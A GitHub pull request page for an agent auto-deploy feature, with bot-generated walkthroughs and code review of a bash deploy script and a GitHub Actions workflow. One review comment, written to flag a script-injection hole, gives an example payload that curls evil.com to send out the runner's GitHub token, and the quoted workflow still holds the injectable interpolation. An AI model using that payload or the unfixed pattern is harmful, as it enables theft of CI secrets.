feat: auto-deploy agents after supervisor merges PRs (t213)#916
feat: auto-deploy agents after supervisor merges PRs (t213)#916marcusquinn merged 1 commit intomainfrom
Conversation
…s/ (t213) Three-layer auto-deploy system: 1. GitHub Action (auto-deploy-agents.yml): Triggers on push to main when .agents/ files change. Detects changed files, validates scripts with ShellCheck/syntax checks, creates deployment summary for visibility. 2. Targeted deploy script (deploy-agents-on-merge.sh): Fast alternative to full setup.sh --non-interactive. Supports scripts-only, diff-based, and version-based deployment modes. Preserves custom/draft directories. 3. Supervisor integration: run_deploy_for_task() now tries targeted deploy first (using pre-merge commit diff), falls back to full setup.sh. merge_task_pr() records pre-merge commit hash for diff-based deploy.
|
Warning You have reached your daily quota limit. Please wait up to 24 hours and I will start processing your requests again! |
WalkthroughIntroduces a new targeted agent deployment system triggered on PR merges. Changes include a fast deployment script with change detection, supervisor integration for pre-merge tracking and fallback logic, and a GitHub Actions workflow to detect, validate, and notify about agent changes. Changes
Sequence Diagram(s)sequenceDiagram
participant GH as GitHub
participant WF as Workflow
participant SC as detect-changes<br/>Job
participant SV as notify-deploy<br/>Job
participant VAL as validate-scripts<br/>Job
participant Repo as Repository<br/>Scripts
GH->>WF: push to main (.agents/ changed)
activate WF
WF->>SC: trigger job
activate SC
SC->>Repo: compare HEAD~1..HEAD for .agents/
SC-->>SC: detect changed files,<br/>categorize scripts/agents
SC-->>WF: output: scripts_changed,<br/>agents_changed, file list
deactivate SC
WF->>SV: trigger (if agents_changed=true)
activate SV
SV->>WF: append deployment summary<br/>to step summary
deactivate SV
WF->>VAL: trigger (if scripts_changed=true)
activate VAL
VAL->>Repo: run ShellCheck on .sh files
VAL->>Repo: validate bash syntax (-n)
VAL-->>WF: report results, fail if errors
deactivate VAL
deactivate WF
sequenceDiagram
participant Merge as PR Merge<br/>Event
participant SH as supervisor-<br/>helper.sh
participant TGT as deploy-agents-<br/>on-merge.sh
participant Setup as setup.sh<br/>(fallback)
participant Repo as Target<br/>Repository
Merge->>SH: trigger post-merge
activate SH
SH->>SH: record pre_merge_commit<br/>(repo HEAD)
SH->>TGT: invoke with diff args<br/>(pre_merge_commit)
activate TGT
alt Targeted Deploy Succeeds
TGT->>Repo: rsync/copy changed files,<br/>sync permissions
TGT-->>Repo: update VERSION
TGT-->>SH: exit 0
else Nothing to Deploy
TGT-->>SH: exit 2
SH-->>SH: treat as success,<br/>skip to next
else Targeted Deploy Fails
TGT-->>SH: exit 1
deactivate TGT
SH->>Setup: fallback to full deploy<br/>(setup.sh --non-interactive)
activate Setup
Setup->>Repo: full agent sync
deactivate Setup
end
deactivate SH
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related issues
Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
🔍 Code Quality Report�[0;35m[MONITOR]�[0m Code Review Monitoring Report �[0;34m[INFO]�[0m Latest Quality Status: �[0;34m[INFO]�[0m Recent monitoring activity: 📈 Current Quality Metrics
Generated on: Tue Feb 10 04:36:22 UTC 2026 Generated by AI DevOps Framework Code Review Monitoring |
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 8
🤖 Fix all issues with AI agents
In @.agents/scripts/deploy-agents-on-merge.sh:
- Around line 194-200: The tar fallback currently overlays files but does not
remove stale files like rsync --delete does; update the fallback in both the
deploy_scripts_only block (the section using source_dir and target_scripts_dir)
and the deploy_all_agents fallback so the target is mirrored: before extracting,
remove files in "$target_scripts_dir" that are not present in "$source_dir" (for
example by generating a list of source relative paths and deleting target
entries that are not in that list, or by cleaning the target directory entirely
then extracting), ensuring behavior matches rsync --delete semantics for
variables source_dir and target_scripts_dir.
- Around line 309-352: The loop initializes deployed and failed but never
increments failed on copy/remove errors; update the block that runs cp and rm
(referencing variables/source_file/target_file and the cp/mkdir -p/rm commands)
to catch failures rather than letting set -e abort: wrap the cp and chmod steps
so their exit is tested (or use a subshell/conditional) and on failure increment
failed and log the error via log_warn/log_error, and likewise when rm fails
increment failed; ensure the final if [[ "$failed" -gt 0 ]] branch can observe
these increments so partial failures are reported instead of crashing the
script.
- Around line 97-108: The parse_args function currently returns 0 for --help but
main continues execution; modify parse_args (or main) so --help stops execution
immediately: either call exit 0 inside the --help|-h) branch of parse_args
(ensuring the script terminates) or set a sentinel variable (e.g., SHOW_HELP=1)
in the --help branch and update main to check that sentinel after parse_args and
exit 0 if set; reference parse_args and main to locate where to implement the
change.
In @.agents/scripts/supervisor-helper.sh:
- Around line 6149-6156: The pre-merge commit detection and error-field update
need two fixes: replace the plain ".git" directory check with a git
worktree-safe command (use git rev-parse --git-dir against $trepo to confirm a
repo before running git -C ... rev-parse HEAD) and avoid clobbering non-JSON
error strings when calling db "$SUPERVISOR_DB" with json_set; instead, test
whether the existing error value is valid JSON (e.g., via json_valid(error)) and
only use json_set(COALESCE(error,'{}'), ...) when json_valid is true, otherwise
wrap the existing plain-text error into a JSON object (or preserve it) before
adding $.pre_merge_commit. Apply the same pattern for the no_pr_retries update
mentioned (the block around line with no_pr_retries).
In @.github/workflows/auto-deploy-agents.yml:
- Around line 202-203: The current check hides bash syntax error details by
redirecting stderr to /dev/null in the line using bash -n "$script" 2>/dev/null;
change the logic to run bash -n "$script" but capture its stderr (e.g., redirect
2>&1 into a variable), then when the syntax check fails use the ::error
annotation to include that captured stderr output (e.g., echo "::error
file=$script::Syntax error in $script: <captured-stderr>") so the logs show the
actual syntax error details; target the condition around bash -n "$script" and
the echo "::error file=$script::Syntax error in $script" so you only change how
stderr is handled and included in the annotation.
- Around line 173-178: The ShellCheck invocation currently silences diagnostics
with `2>/dev/null` so you can't see issues; update the block that runs
`shellcheck -x "$script"` (the variables PASSED, FAILED, and the `script` loop)
to capture ShellCheck output (e.g., into a variable like SC_OUT) instead of
discarding stderr, print SC_OUT to the job logs and emit the annotation
`::error`/`::warning` including the diagnostic text, increment FAILED when there
are findings, and make the step fail (exit non-zero) when FAILED > 0 so
violations break the workflow rather than only updating counts.
- Around line 79-82: The heredoc written to the GITHUB_OUTPUT using the literal
delimiter "EOF" risks premature termination if any changed file line equals
"EOF"; change the delimiter used when writing the changed_files output to a
unique or randomized token (e.g., derive from a short UUID or timestamp) and use
that token in both the opening and closing heredoc lines that write "$CHANGED"
to GITHUB_OUTPUT; update the three lines that reference "changed_files<<EOF",
the subsequent echo of "$CHANGED" | head -50, and the closing "EOF" so they all
use the same unique delimiter to avoid collisions.
- Around line 98-107: The step is echoing untrusted commit metadata
(github.event.head_commit.author.name and github.event.head_commit.message)
directly into the run script which enables command injection; instead, add these
values to the step's env (e.g. COMMIT_AUTHOR and COMMIT_MESSAGE populated from
github.event.*) and reference those env vars inside the run block (use plain
$COMMIT_AUTHOR and $COMMIT_MESSAGE or safe printing like printf '%s\n'
"$COMMIT_MESSAGE") when writing to GITHUB_STEP_SUMMARY; keep github.sha as-is
but remove any direct expansion of github.event.head_commit.* from the run
script to eliminate injection risk.
🧹 Nitpick comments (3)
.agents/scripts/deploy-agents-on-merge.sh (2)
126-143: Silent swallow of pull failures may deploy stale code.Line 139
git pull origin main --quiet 2>/dev/null || truemeans any pull failure is silently ignored. If the network is down or auth is broken, the script will happily deploy whatever stale revision is checked out. Consider at minimum logging the failure.🔧 Proposed improvement
log_warn "Fast-forward pull failed — trying regular pull" - git -C "$REPO_DIR" pull origin main --quiet 2>/dev/null || true + if ! git -C "$REPO_DIR" pull origin main --quiet 2>/dev/null; then + log_warn "Pull failed — deploying from current local state" + fi fi
237-268: Temp directory for preserving custom/draft is not cleaned up on unexpected exit.If the script is interrupted (e.g., SIGTERM) between
mktemp -d(line 240) andrm -rf "$tmp_preserve"(line 267), the temp directory leaks. Underset -e, an error intarextraction would also skip cleanup.🧹 Proposed — trap for cleanup
local tmp_preserve tmp_preserve=$(mktemp -d) + trap "rm -rf '$tmp_preserve'" EXIT local preserve_ok=trueRemove the explicit
rm -rf "$tmp_preserve"at line 267 since the trap handles it. (Or keep both — the trap is a safety net.).agents/scripts/supervisor-helper.sh (1)
6233-6344: Persist targeted deploy output even on “nothing to deploy.”Right now exit‑2 (“nothing to deploy”) returns without writing the deploy log. For auditability and A‑grade observability, capture the output so post‑merge deploys always have a trace.
🧾 Optional logging tweak
- if [[ "$deploy_exit" -eq 2 ]]; then - # Exit 2 = nothing to deploy (no changes detected) - log_info "No agent changes to deploy for $task_id" - return 0 - fi + if [[ "$deploy_exit" -eq 2 ]]; then + # Exit 2 = nothing to deploy (no changes detected) + echo "$deploy_output" > "$deploy_log" 2>/dev/null || true + log_info "No agent changes to deploy for $task_id" + return 0 + fi
| --help|-h) | ||
| head -25 "$0" | tail -20 | ||
| return 0 | ||
| ;; | ||
| *) | ||
| log_error "Unknown option: $1" | ||
| return 1 | ||
| ;; | ||
| esac | ||
| done | ||
| return 0 | ||
| } |
There was a problem hiding this comment.
--help returns 0 but main() continues execution after it.
parse_args returns 0 on --help, so main() proceeds past parse_args "$@" || return 1 into validate_repo, which will likely fail (or worse, succeed and trigger a deploy). The help flag should cause the script to exit.
🔧 Option A — exit from parse_args
--help|-h)
head -25 "$0" | tail -20
- return 0
+ exit 0
;;🔧 Option B — use a sentinel in main
+HELP_REQUESTED=false
+
parse_args() {
while [[ $# -gt 0 ]]; do
case "$1" in
...
--help|-h)
head -25 "$0" | tail -20
+ HELP_REQUESTED=true
return 0
;; main() {
parse_args "$@" || return 1
+ [[ "$HELP_REQUESTED" == "true" ]] && return 0
validate_repo || return 1📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| --help|-h) | |
| head -25 "$0" | tail -20 | |
| return 0 | |
| ;; | |
| *) | |
| log_error "Unknown option: $1" | |
| return 1 | |
| ;; | |
| esac | |
| done | |
| return 0 | |
| } | |
| --help|-h) | |
| head -25 "$0" | tail -20 | |
| exit 0 | |
| ;; | |
| *) | |
| log_error "Unknown option: $1" | |
| return 1 | |
| ;; | |
| esac | |
| done | |
| return 0 | |
| } |
🤖 Prompt for AI Agents
In @.agents/scripts/deploy-agents-on-merge.sh around lines 97 - 108, The
parse_args function currently returns 0 for --help but main continues execution;
modify parse_args (or main) so --help stops execution immediately: either call
exit 0 inside the --help|-h) branch of parse_args (ensuring the script
terminates) or set a sentinel variable (e.g., SHOW_HELP=1) in the --help branch
and update main to check that sentinel after parse_args and exit 0 if set;
reference parse_args and main to locate where to implement the change.
|
|
||
| if command -v rsync &>/dev/null; then | ||
| rsync -a --delete "$source_dir/" "$target_scripts_dir/" | ||
| else | ||
| # Fallback: tar-based copy | ||
| (cd "$source_dir" && tar cf - .) | (cd "$target_scripts_dir" && tar xf -) | ||
| fi |
There was a problem hiding this comment.
rsync --delete vs tar fallback: behavioral divergence.
The rsync path uses --delete (line 196), which removes files in the target that no longer exist in the source. The tar fallback only overlays — stale files in $target_scripts_dir will persist. Same issue exists in deploy_all_agents (lines 232 vs 258). This means the fallback path can leave behind deleted scripts that continue to execute.
🔧 Proposed fix for deploy_scripts_only tar fallback
else
# Fallback: tar-based copy
+ # Remove existing target contents first to match rsync --delete behavior
+ find "$target_scripts_dir" -mindepth 1 -delete 2>/dev/null || true
(cd "$source_dir" && tar cf - .) | (cd "$target_scripts_dir" && tar xf -)
fi📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if command -v rsync &>/dev/null; then | |
| rsync -a --delete "$source_dir/" "$target_scripts_dir/" | |
| else | |
| # Fallback: tar-based copy | |
| (cd "$source_dir" && tar cf - .) | (cd "$target_scripts_dir" && tar xf -) | |
| fi | |
| if command -v rsync &>/dev/null; then | |
| rsync -a --delete "$source_dir/" "$target_scripts_dir/" | |
| else | |
| # Fallback: tar-based copy | |
| # Remove existing target contents first to match rsync --delete behavior | |
| find "$target_scripts_dir" -mindepth 1 -delete 2>/dev/null || true | |
| (cd "$source_dir" && tar cf - .) | (cd "$target_scripts_dir" && tar xf -) | |
| fi |
🤖 Prompt for AI Agents
In @.agents/scripts/deploy-agents-on-merge.sh around lines 194 - 200, The tar
fallback currently overlays files but does not remove stale files like rsync
--delete does; update the fallback in both the deploy_scripts_only block (the
section using source_dir and target_scripts_dir) and the deploy_all_agents
fallback so the target is mirrored: before extracting, remove files in
"$target_scripts_dir" that are not present in "$source_dir" (for example by
generating a list of source relative paths and deleting target entries that are
not in that list, or by cleaning the target directory entirely then extracting),
ensuring behavior matches rsync --delete semantics for variables source_dir and
target_scripts_dir.
| local deployed=0 | ||
| local failed=0 | ||
|
|
||
| while IFS= read -r file; do | ||
| [[ -z "$file" ]] && continue | ||
|
|
||
| # Strip .agents/ prefix to get relative path within target | ||
| local rel_path="${file#.agents/}" | ||
| local source_file="$REPO_DIR/$file" | ||
| local target_file="$TARGET_DIR/$rel_path" | ||
|
|
||
| # Skip custom/draft/loop-state | ||
| case "$rel_path" in | ||
| custom/*|draft/*|loop-state/*) continue ;; | ||
| esac | ||
|
|
||
| if [[ -f "$source_file" ]]; then | ||
| # Create target directory if needed | ||
| local target_parent | ||
| target_parent=$(dirname "$target_file") | ||
| mkdir -p "$target_parent" | ||
|
|
||
| # Copy file | ||
| cp "$source_file" "$target_file" | ||
|
|
||
| # Set executable if it's a script | ||
| if [[ "$target_file" == *.sh ]]; then | ||
| chmod +x "$target_file" | ||
| fi | ||
|
|
||
| deployed=$((deployed + 1)) | ||
| elif [[ ! -e "$source_file" ]]; then | ||
| # File was deleted in source — remove from target | ||
| if [[ -f "$target_file" ]]; then | ||
| rm -f "$target_file" | ||
| log_info "Removed deleted file: $rel_path" | ||
| fi | ||
| fi | ||
| done <<< "$changed_files" | ||
|
|
||
| if [[ "$failed" -gt 0 ]]; then | ||
| log_warn "Deployed $deployed files, $failed failed" | ||
| return 1 | ||
| fi |
There was a problem hiding this comment.
Bug: failed counter is initialized but never incremented — error path is dead code.
failed is set to 0 on line 310 but is never incremented anywhere in the loop. The guard on line 349 (if [[ "$failed" -gt 0 ]]) will never trigger, meaning file copy failures (under set -e) will abort the entire script rather than being counted and reported gracefully.
If the intent is to track and report partial failures, you need to increment failed and also trap/suppress the cp error so set -e doesn't kill the script first.
🐛 Proposed fix — increment failed and handle cp errors
if [[ -f "$source_file" ]]; then
# Create target directory if needed
local target_parent
target_parent=$(dirname "$target_file")
mkdir -p "$target_parent"
# Copy file
- cp "$source_file" "$target_file"
+ if ! cp "$source_file" "$target_file"; then
+ log_warn "Failed to copy: $rel_path"
+ failed=$((failed + 1))
+ continue
+ fi
# Set executable if it's a script
if [[ "$target_file" == *.sh ]]; then
chmod +x "$target_file"
fi
deployed=$((deployed + 1))📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| local deployed=0 | |
| local failed=0 | |
| while IFS= read -r file; do | |
| [[ -z "$file" ]] && continue | |
| # Strip .agents/ prefix to get relative path within target | |
| local rel_path="${file#.agents/}" | |
| local source_file="$REPO_DIR/$file" | |
| local target_file="$TARGET_DIR/$rel_path" | |
| # Skip custom/draft/loop-state | |
| case "$rel_path" in | |
| custom/*|draft/*|loop-state/*) continue ;; | |
| esac | |
| if [[ -f "$source_file" ]]; then | |
| # Create target directory if needed | |
| local target_parent | |
| target_parent=$(dirname "$target_file") | |
| mkdir -p "$target_parent" | |
| # Copy file | |
| cp "$source_file" "$target_file" | |
| # Set executable if it's a script | |
| if [[ "$target_file" == *.sh ]]; then | |
| chmod +x "$target_file" | |
| fi | |
| deployed=$((deployed + 1)) | |
| elif [[ ! -e "$source_file" ]]; then | |
| # File was deleted in source — remove from target | |
| if [[ -f "$target_file" ]]; then | |
| rm -f "$target_file" | |
| log_info "Removed deleted file: $rel_path" | |
| fi | |
| fi | |
| done <<< "$changed_files" | |
| if [[ "$failed" -gt 0 ]]; then | |
| log_warn "Deployed $deployed files, $failed failed" | |
| return 1 | |
| fi | |
| local deployed=0 | |
| local failed=0 | |
| while IFS= read -r file; do | |
| [[ -z "$file" ]] && continue | |
| # Strip .agents/ prefix to get relative path within target | |
| local rel_path="${file#.agents/}" | |
| local source_file="$REPO_DIR/$file" | |
| local target_file="$TARGET_DIR/$rel_path" | |
| # Skip custom/draft/loop-state | |
| case "$rel_path" in | |
| custom/*|draft/*|loop-state/*) continue ;; | |
| esac | |
| if [[ -f "$source_file" ]]; then | |
| # Create target directory if needed | |
| local target_parent | |
| target_parent=$(dirname "$target_file") | |
| mkdir -p "$target_parent" | |
| # Copy file | |
| if ! cp "$source_file" "$target_file"; then | |
| log_warn "Failed to copy: $rel_path" | |
| failed=$((failed + 1)) | |
| continue | |
| fi | |
| # Set executable if it's a script | |
| if [[ "$target_file" == *.sh ]]; then | |
| chmod +x "$target_file" | |
| fi | |
| deployed=$((deployed + 1)) | |
| elif [[ ! -e "$source_file" ]]; then | |
| # File was deleted in source — remove from target | |
| if [[ -f "$target_file" ]]; then | |
| rm -f "$target_file" | |
| log_info "Removed deleted file: $rel_path" | |
| fi | |
| fi | |
| done <<< "$changed_files" | |
| if [[ "$failed" -gt 0 ]]; then | |
| log_warn "Deployed $deployed files, $failed failed" | |
| return 1 | |
| fi |
🤖 Prompt for AI Agents
In @.agents/scripts/deploy-agents-on-merge.sh around lines 309 - 352, The loop
initializes deployed and failed but never increments failed on copy/remove
errors; update the block that runs cp and rm (referencing
variables/source_file/target_file and the cp/mkdir -p/rm commands) to catch
failures rather than letting set -e abort: wrap the cp and chmod steps so their
exit is tested (or use a subshell/conditional) and on failure increment failed
and log the error via log_warn/log_error, and likewise when rm fails increment
failed; ensure the final if [[ "$failed" -gt 0 ]] branch can observe these
increments so partial failures are reported instead of crashing the script.
| # Record pre-merge commit for targeted deploy (t213) | ||
| local pre_merge_commit="" | ||
| if [[ -n "$trepo" && -d "$trepo/.git" ]]; then | ||
| pre_merge_commit=$(git -C "$trepo" rev-parse HEAD 2>/dev/null || echo "") | ||
| if [[ -n "$pre_merge_commit" ]]; then | ||
| db "$SUPERVISOR_DB" "UPDATE tasks SET error = json_set(COALESCE(error, '{}'), '$.pre_merge_commit', '$pre_merge_commit') WHERE id = '$escaped_id';" 2>/dev/null || true | ||
| fi | ||
| fi |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# Check SQLite JSON1 availability and inspect error field usage
sqlite3 :memory: "select json_valid('{\"a\":1}');"Repository: marcusquinn/aidevops
Length of output: 111
🏁 Script executed:
# Search for UPDATE tasks SET error patterns across scripts
rg -n "UPDATE tasks SET .*error" .agents/scripts/Repository: marcusquinn/aidevops
Length of output: 816
🏁 Script executed:
# Search for json_set usage with error field
rg -n "json_set.*error" .agents/scripts/Repository: marcusquinn/aidevops
Length of output: 615
🏁 Script executed:
# Get the actual code section from lines 6149-6156
sed -n '6145,6160p' .agents/scripts/supervisor-helper.shRepository: marcusquinn/aidevops
Length of output: 791
🏁 Script executed:
# Check for worktree-related code or .git file detection patterns
rg -n "\.git" .agents/scripts/supervisor-helper.sh | head -20Repository: marcusquinn/aidevops
Length of output: 518
🏁 Script executed:
# Test json_set behavior with non-JSON strings in SQLite
sqlite3 :memory: "
-- Test 1: json_set on NULL
SELECT json_set(COALESCE(NULL, '{}'), '$.test', 'value');
-- Test 2: json_set on COALESCE with non-JSON string
SELECT json_set(COALESCE('plain text error', '{}'), '$.test', 'value');
-- Test 3: json_valid on non-JSON string
SELECT json_valid('plain text error');
-- Test 4: CASE with json_valid
SELECT CASE
WHEN json_valid('plain text error') THEN 'valid json'
ELSE 'invalid json'
END;
"Repository: marcusquinn/aidevops
Length of output: 111
🏁 Script executed:
# Check if json_valid is used elsewhere in the scripts (confirms JSON1 extension is expected)
rg -n "json_valid" .agents/scripts/Repository: marcusquinn/aidevops
Length of output: 46
🏁 Script executed:
# Search for all json_set patterns to identify scope of issue
rg -n "json_set" .agents/scripts/Repository: marcusquinn/aidevops
Length of output: 615
🏁 Script executed:
# Check db function definition to understand SQLite setup
rg -n "^db\s*\(" .agents/scripts/supervisor-helper.sh | head -5Repository: marcusquinn/aidevops
Length of output: 74
🏁 Script executed:
# Verify git rev-parse --git-dir works as suggested fix
# Also check if there are any existing git-dir checks in codebase
rg -n "git-dir" .agents/scripts/
rg -n "rev-parse" .agents/scripts/Repository: marcusquinn/aidevops
Length of output: 8033
🏁 Script executed:
# Verify how errors are typically persisted - check context around line 4103
sed -n '4100,4110p' .agents/scripts/supervisor-helper.shRepository: marcusquinn/aidevops
Length of output: 666
🏁 Script executed:
# Check if there's any JSON error handling pattern or validation elsewhere
rg -n "error.*json|json.*error" .agents/scripts/supervisor-helper.sh | head -10Repository: marcusquinn/aidevops
Length of output: 953
🏁 Script executed:
# Look at the db function implementation to understand how it handles queries
sed -n '681,710p' .agents/scripts/supervisor-helper.shRepository: marcusquinn/aidevops
Length of output: 783
Fix worktree detection and protect non-JSON error values from json_set clobbering.
The .git directory check at line 6151 misses git worktrees, which use .git as a file. Additionally, plain text error strings (as seen at line 4103) are lost when passed to json_set(COALESCE(error, '{}'), ...), since SQLite's json_set returns NULL for non-JSON inputs, causing data loss.
Use git rev-parse --git-dir (established throughout the codebase) to detect valid git repos. For the error field, check if the existing value is JSON-structured before applying json_set:
🛠️ Suggested fix
- if [[ -n "$trepo" && -d "$trepo/.git" ]]; then
+ if [[ -n "$trepo" ]] && git -C "$trepo" rev-parse --git-dir >/dev/null 2>&1; then
pre_merge_commit=$(git -C "$trepo" rev-parse HEAD 2>/dev/null || echo "")
if [[ -n "$pre_merge_commit" ]]; then
- db "$SUPERVISOR_DB" "UPDATE tasks SET error = json_set(COALESCE(error, '{}'), '$.pre_merge_commit', '$pre_merge_commit') WHERE id = '$escaped_id';" 2>/dev/null || true
+ local error_json
+ error_json=$(db "$SUPERVISOR_DB" "SELECT CASE WHEN error IS NULL OR error = '' THEN '{}' WHEN json_type(error) IS NOT NULL THEN error ELSE json_object('message', error) END FROM tasks WHERE id = '$escaped_id';" 2>/dev/null | head -1 || echo "{}")
+ local updated_error
+ updated_error=$(echo "$error_json" | python3 -c "import sys, json; d=json.load(sys.stdin); d['pre_merge_commit']='$pre_merge_commit'; print(json.dumps(d))" 2>/dev/null || echo "{}")
+ db "$SUPERVISOR_DB" "UPDATE tasks SET error = '$updated_error' WHERE id = '$escaped_id';" 2>/dev/null || true
fi
fiNote: The same pattern appears at line 6564 for no_pr_retries tracking.
🤖 Prompt for AI Agents
In @.agents/scripts/supervisor-helper.sh around lines 6149 - 6156, The pre-merge
commit detection and error-field update need two fixes: replace the plain ".git"
directory check with a git worktree-safe command (use git rev-parse --git-dir
against $trepo to confirm a repo before running git -C ... rev-parse HEAD) and
avoid clobbering non-JSON error strings when calling db "$SUPERVISOR_DB" with
json_set; instead, test whether the existing error value is valid JSON (e.g.,
via json_valid(error)) and only use json_set(COALESCE(error,'{}'), ...) when
json_valid is true, otherwise wrap the existing plain-text error into a JSON
object (or preserve it) before adding $.pre_merge_commit. Apply the same pattern
for the no_pr_retries update mentioned (the block around line with
no_pr_retries).
| # Store changed files list (truncated for output) | ||
| echo "changed_files<<EOF" >> "$GITHUB_OUTPUT" | ||
| echo "$CHANGED" | head -50 >> "$GITHUB_OUTPUT" | ||
| echo "EOF" >> "$GITHUB_OUTPUT" |
There was a problem hiding this comment.
Heredoc delimiter collision risk with EOF in GITHUB_OUTPUT.
If any changed file path literally contains the string EOF on its own line, the multiline output will be truncated. Use a unique/randomized delimiter to harden against this edge case.
🛡️ Proposed fix — use a unique delimiter
- echo "changed_files<<EOF" >> "$GITHUB_OUTPUT"
- echo "$CHANGED" | head -50 >> "$GITHUB_OUTPUT"
- echo "EOF" >> "$GITHUB_OUTPUT"
+ DELIM="EOF_$(date +%s)"
+ echo "changed_files<<$DELIM" >> "$GITHUB_OUTPUT"
+ echo "$CHANGED" | head -50 >> "$GITHUB_OUTPUT"
+ echo "$DELIM" >> "$GITHUB_OUTPUT"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Store changed files list (truncated for output) | |
| echo "changed_files<<EOF" >> "$GITHUB_OUTPUT" | |
| echo "$CHANGED" | head -50 >> "$GITHUB_OUTPUT" | |
| echo "EOF" >> "$GITHUB_OUTPUT" | |
| # Store changed files list (truncated for output) | |
| DELIM="EOF_$(date +%s)" | |
| echo "changed_files<<$DELIM" >> "$GITHUB_OUTPUT" | |
| echo "$CHANGED" | head -50 >> "$GITHUB_OUTPUT" | |
| echo "$DELIM" >> "$GITHUB_OUTPUT" |
🤖 Prompt for AI Agents
In @.github/workflows/auto-deploy-agents.yml around lines 79 - 82, The heredoc
written to the GITHUB_OUTPUT using the literal delimiter "EOF" risks premature
termination if any changed file line equals "EOF"; change the delimiter used
when writing the changed_files output to a unique or randomized token (e.g.,
derive from a short UUID or timestamp) and use that token in both the opening
and closing heredoc lines that write "$CHANGED" to GITHUB_OUTPUT; update the
three lines that reference "changed_files<<EOF", the subsequent echo of
"$CHANGED" | head -50, and the closing "EOF" so they all use the same unique
delimiter to avoid collisions.
| env: | ||
| SCRIPTS_CHANGED: ${{ needs.detect-changes.outputs.scripts_changed }} | ||
| CHANGED_COUNT: ${{ needs.detect-changes.outputs.changed_count }} | ||
| CHANGED_FILES: ${{ needs.detect-changes.outputs.changed_files }} | ||
| run: | | ||
| echo "## Agent Auto-Deploy Triggered" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "**Commit:** ${{ github.sha }}" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "**Author:** ${{ github.event.head_commit.author.name }}" >> "$GITHUB_STEP_SUMMARY" | ||
| echo "**Message:** ${{ github.event.head_commit.message }}" >> "$GITHUB_STEP_SUMMARY" |
There was a problem hiding this comment.
Script injection vulnerability via untrusted commit metadata.
Both static analysis tools flagged this correctly. github.event.head_commit.author.name and github.event.head_commit.message are attacker-controlled — a crafted commit message like `curl http://evil.com/exfil?t=$(cat $GITHUB_TOKEN)` would execute arbitrary code in the runner.
github.sha (line 105) is safe (GitHub-generated hex), but lines 106–107 must be passed through environment variables.
🔒 Proposed fix — pass untrusted values via env
- name: Create deployment summary
env:
SCRIPTS_CHANGED: ${{ needs.detect-changes.outputs.scripts_changed }}
CHANGED_COUNT: ${{ needs.detect-changes.outputs.changed_count }}
CHANGED_FILES: ${{ needs.detect-changes.outputs.changed_files }}
+ COMMIT_SHA: ${{ github.sha }}
+ COMMIT_AUTHOR: ${{ github.event.head_commit.author.name }}
+ COMMIT_MESSAGE: ${{ github.event.head_commit.message }}
run: |
echo "## Agent Auto-Deploy Triggered" >> "$GITHUB_STEP_SUMMARY"
echo "" >> "$GITHUB_STEP_SUMMARY"
- echo "**Commit:** ${{ github.sha }}" >> "$GITHUB_STEP_SUMMARY"
- echo "**Author:** ${{ github.event.head_commit.author.name }}" >> "$GITHUB_STEP_SUMMARY"
- echo "**Message:** ${{ github.event.head_commit.message }}" >> "$GITHUB_STEP_SUMMARY"
+ echo "**Commit:** $COMMIT_SHA" >> "$GITHUB_STEP_SUMMARY"
+ echo "**Author:** $COMMIT_AUTHOR" >> "$GITHUB_STEP_SUMMARY"
+ echo "**Message:** $COMMIT_MESSAGE" >> "$GITHUB_STEP_SUMMARY"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| env: | |
| SCRIPTS_CHANGED: ${{ needs.detect-changes.outputs.scripts_changed }} | |
| CHANGED_COUNT: ${{ needs.detect-changes.outputs.changed_count }} | |
| CHANGED_FILES: ${{ needs.detect-changes.outputs.changed_files }} | |
| run: | | |
| echo "## Agent Auto-Deploy Triggered" >> "$GITHUB_STEP_SUMMARY" | |
| echo "" >> "$GITHUB_STEP_SUMMARY" | |
| echo "**Commit:** ${{ github.sha }}" >> "$GITHUB_STEP_SUMMARY" | |
| echo "**Author:** ${{ github.event.head_commit.author.name }}" >> "$GITHUB_STEP_SUMMARY" | |
| echo "**Message:** ${{ github.event.head_commit.message }}" >> "$GITHUB_STEP_SUMMARY" | |
| env: | |
| SCRIPTS_CHANGED: ${{ needs.detect-changes.outputs.scripts_changed }} | |
| CHANGED_COUNT: ${{ needs.detect-changes.outputs.changed_count }} | |
| CHANGED_FILES: ${{ needs.detect-changes.outputs.changed_files }} | |
| COMMIT_SHA: ${{ github.sha }} | |
| COMMIT_AUTHOR: ${{ github.event.head_commit.author.name }} | |
| COMMIT_MESSAGE: ${{ github.event.head_commit.message }} | |
| run: | | |
| echo "## Agent Auto-Deploy Triggered" >> "$GITHUB_STEP_SUMMARY" | |
| echo "" >> "$GITHUB_STEP_SUMMARY" | |
| echo "**Commit:** $COMMIT_SHA" >> "$GITHUB_STEP_SUMMARY" | |
| echo "**Author:** $COMMIT_AUTHOR" >> "$GITHUB_STEP_SUMMARY" | |
| echo "**Message:** $COMMIT_MESSAGE" >> "$GITHUB_STEP_SUMMARY" |
🧰 Tools
🪛 actionlint (1.7.10)
